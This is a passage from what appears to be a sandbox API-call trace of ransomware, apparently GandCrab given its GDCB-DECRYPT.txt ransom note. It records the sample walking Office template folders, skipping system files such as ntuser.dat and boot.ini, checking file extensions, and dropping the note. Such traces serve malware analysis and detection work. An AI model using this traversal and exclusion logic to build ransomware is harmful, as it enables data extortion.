Themes\\1033\\", lpString2="TM04033937[[fn=Vapor Trail]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx" [0135.677] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned 135 [0135.677] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned 135 [0135.677] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.677] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001103[[fn=Headlines]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx" [0135.677] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned 133 [0135.677] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned 133 [0135.677] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001104[[fn=Feathered]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx" [0135.677] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned 133 [0135.677] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned 133 [0135.677] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001105[[fn=Crop]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx" [0135.677] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned 128 [0135.677] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned 128 [0135.677] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001106[[fn=Badge]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx" [0135.677] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned 129 [0135.678] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned 129 [0135.678] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001114[[fn=Gallery]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx" [0135.678] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned 131 [0135.678] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001114[[fn=Gallery]].thmx") returned 131 [0135.678] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001115[[fn=Parcel]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx" [0135.678] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned 130 [0135.678] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001115[[fn=Parcel]].thmx") returned 130 [0135.678] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt" [0135.678] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt") returned 113 [0135.678] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt") returned 113 [0135.678] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt") returned 113 [0135.678] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\GDCB-DECRYPT.txt") returned 113 [0135.678] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.678] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.678] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.679] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt" [0135.679] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt") returned 97 [0135.679] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt") returned 97 [0135.679] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt") returned 97 [0135.679] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\GDCB-DECRYPT.txt") returned 97 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.679] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.679] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics" [0135.679] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\" [0135.679] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.679] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.679] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.679] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.679] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned 99 [0135.679] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*" [0135.679] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x2c76c0 [0135.681] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.681] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.681] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.681] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.681] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.681] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0135.681] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0135.681] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0135.681] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned 103 [0135.681] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.681] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.681] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.681] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt" [0135.681] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 115 [0135.681] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.681] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0135.681] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.682] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\\\GDCB-DECRYPT.txt") returned 116 [0135.682] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.682] GetLastError () returned 0x50 [0135.682] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\") returned 99 [0135.682] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*" [0135.682] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x2c7980 [0135.682] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0135.682] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0135.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.682] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.682] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned 104 [0135.682] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*" [0135.682] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x2c79c0 [0135.683] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.683] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.684] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.684] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.684] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.684] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.684] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.684] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt" [0135.684] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\GDCB-DECRYPT.txt") returned 120 [0135.684] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.684] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.684] lstrcmpW (lpString1="TM03328884[[fn=architecture]].glox", lpString2=".") returned 1 [0135.684] lstrcmpW (lpString1="TM03328884[[fn=architecture]].glox", lpString2="..") returned 1 [0135.684] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328884[[fn=architecture]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox" [0135.684] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328884[[fn=architecture]].glox") returned 138 [0135.684] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.684] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.684] lstrcmpW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2=".") returned 1 [0135.684] lstrcmpW (lpString1="TM03328893[[fn=BracketList]].glox", lpString2="..") returned 1 [0135.684] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328893[[fn=BracketList]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox" [0135.684] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328893[[fn=BracketList]].glox") returned 137 [0135.684] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.684] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.684] lstrcmpW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2=".") returned 1 [0135.684] lstrcmpW (lpString1="TM03328905[[fn=Chevron Accent]].glox", lpString2="..") returned 1 [0135.684] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328905[[fn=Chevron Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox" [0135.684] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328905[[fn=Chevron Accent]].glox") returned 140 [0135.684] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.684] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.684] lstrcmpW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2=".") returned 1 [0135.684] lstrcmpW (lpString1="TM03328908[[fn=Circle Process]].glox", lpString2="..") returned 1 [0135.684] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328908[[fn=Circle Process]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox" [0135.684] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328908[[fn=Circle Process]].glox") returned 140 [0135.684] lstrcmpW (lpString1=".glox", lpString2=".sql") returned -1 [0135.684] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.684] lstrcmpW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2=".") returned 1 [0135.684] lstrcmpW (lpString1="TM03328916[[fn=Converging Text]].glox", lpString2="..") returned 1 [0135.684] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328916[[fn=Converging Text]].glox" | out: 